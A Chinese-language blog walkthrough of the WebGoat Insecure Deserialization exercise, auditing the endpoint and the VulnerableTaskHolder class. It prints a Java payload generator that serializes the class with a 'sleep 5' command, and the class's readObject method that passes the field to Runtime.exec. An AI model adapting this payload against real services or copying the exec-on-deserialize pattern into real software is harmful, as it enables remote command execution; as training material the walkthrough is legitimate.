JAVA代码审计10:WEBGOAT Insecure Deserialization

0x00 前言

java 反序列化漏洞是在代码审计中经常需要留意的,正好借助这篇文章来入门一下,后面会单独写一系列的文章来探讨毕竟这块可是大头

0x01 正文

我们来看一下题目

题目的意思就是:尝试利用反序列化漏洞来让响应延迟5s

image-20201120142240258

我们来看一下接口直接进行代码审计

image-20201120142611713

找到如下对应代码

发现这里会对传入的参数进行一个base64解码所以我们需要先进行base64来加密我们的payload

然后下面会对传入的序列化数据进行一个反序列化过程

```Object o = ois.readObject();```

同时在if语句中会进行一个判断 o是不是 VulnerableTaskHolder类

image-20201120142646346

我们跟踪过去 ,跟踪过去之后往下看发现如下这行代码(老熟人了)

该方法可以执行系统代码

Process p = Runtime.getRuntime().exec(taskAction);

但是这里webgoat做了一个if的判断限定,对传入的参数进行了一个限制,只让我们执行sleep的命令同时限制了长度

image-20201120142746017

然后再来看看这个传入的参数 taskaction是否可控

发现就在构造函数当中,所以我们只需要对这个对象进行一个序列化,传入的taskaction为一个sleep 5 就可以了

image-20201120143200334

这里我们创建对应package路径的java文件

ps: 经过测试 package一定要是

package org.dummy.insecure.framework;

否则在反序列化过程中,后端代码会报 javaclassnotfoundexception这个报错

image-20201120143749500

代码如下

package org.dummy.insecure.framework;

import java.io.*;
import java.util.Base64;

public class Sertest1 {

    public static void main(String[] args) throws IOException {
        /**
         * Webgoat payload
         */
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        VulnerableTaskHolder vulnerableTaskHolder = new VulnerableTaskHolder("sleep for 5secs","sleep 5");
        ObjectOutputStream output = new ObjectOutputStream(byteArrayOutputStream);
        output.writeObject(vulnerableTaskHolder);
        String str = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
        System.out.println(str);
        output.close();

    }
}



然后 VulnerableTaskHolder类我们只需要抄过来就可以了把没用的日志记录功能去掉即可

package org.dummy.insecure.framework;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.time.LocalDateTime;


public class VulnerableTaskHolder implements Serializable {
    private static final long serialVersionUID = 2;

    private String taskName;
    private String taskAction;
    private LocalDateTime requestedExecutionTime;

    public VulnerableTaskHolder(String taskName, String taskAction) {
        super();
        this.taskName = taskName;
        this.taskAction = taskAction;
        this.requestedExecutionTime = LocalDateTime.now();
    }

    @Override
    public String toString() {
        return "VulnerableTaskHolder [taskName=" + taskName + ", taskAction=" + taskAction + ", requestedExecutionTime="
                + requestedExecutionTime + "]";
    }


    private void readObject( ObjectInputStream stream ) throws Exception {
        stream.defaultReadObject();

        if (requestedExecutionTime!=null &&
                (requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10))
                        || requestedExecutionTime.isAfter(LocalDateTime.now()))) {
            throw new IllegalArgumentException("outdated");
        }

        if ((taskAction.startsWith("sleep") || taskAction.startsWith("ping"))
                && taskAction.length() < 22) {
            try {
                Process p = Runtime.getRuntime().exec(taskAction);
                BufferedReader in = new BufferedReader(
                        new InputStreamReader(p.getInputStream()));
                String line = null;
                while ((line = in.readLine()) != null) {
                }
            } catch (IOException e) {
            }
        }
    }
}

利用生成的base64 提交即可

image-20201120144339577

0x02 总结以及修复建议

反序列化漏洞就是在反序列化中没有对输入的参数进行一个限制,导致攻击者可以执行恶意命令等

修复建议:对输入的数值进行严格的把控和过滤防止攻击者构造恶意参数

点赞

发表评论

昵称和uid可以选填一个,填邮箱必填(留言回复后将会发邮件给你)
tips:输入uid可以快速获得你的昵称和头像